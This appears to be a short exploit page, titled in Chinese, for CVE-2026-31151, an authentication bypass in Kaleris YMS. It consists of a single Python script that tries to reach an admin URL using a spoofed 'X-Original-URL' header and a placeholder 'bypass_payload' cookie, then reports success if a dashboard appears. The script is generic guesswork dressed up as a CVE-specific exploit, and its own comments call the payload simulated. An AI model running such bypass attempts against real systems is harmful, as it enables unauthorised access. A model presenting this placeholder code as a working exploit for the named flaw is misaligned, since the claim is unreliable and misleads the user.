CVE-2026-31151 Kaleris YMS认证绕过漏洞

import requests # Target URL (Example) target_url = "http://target-ip:port/admin" # Vulnerability: Authentication Bypass # Often involves manipulating headers or cookies to simulate an authenticated session headers = { "User-Agent": "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/91.0.4472.124 Safari/537.36", "X-Original-URL": "/admin", # Common bypass technique "Cookie": "auth_token=bypass_payload" # Simulated payload } try: # Send request to protected resource without valid credentials response = requests.get(target_url, headers=headers, timeout=10) # Check if login was bypassed (Status 200 and specific content) if response.status_code == 200 and "Dashboard" in response.text: print("[+] Exploit Successful! Authentication bypassed.") print(f"[+] Content Length: {len(response.text)}") else: print("[-] Exploit Failed or Patched.") print(f"Status Code: {response.status_code}") except Exception as e: print(f"[!] Error occurred: {e}")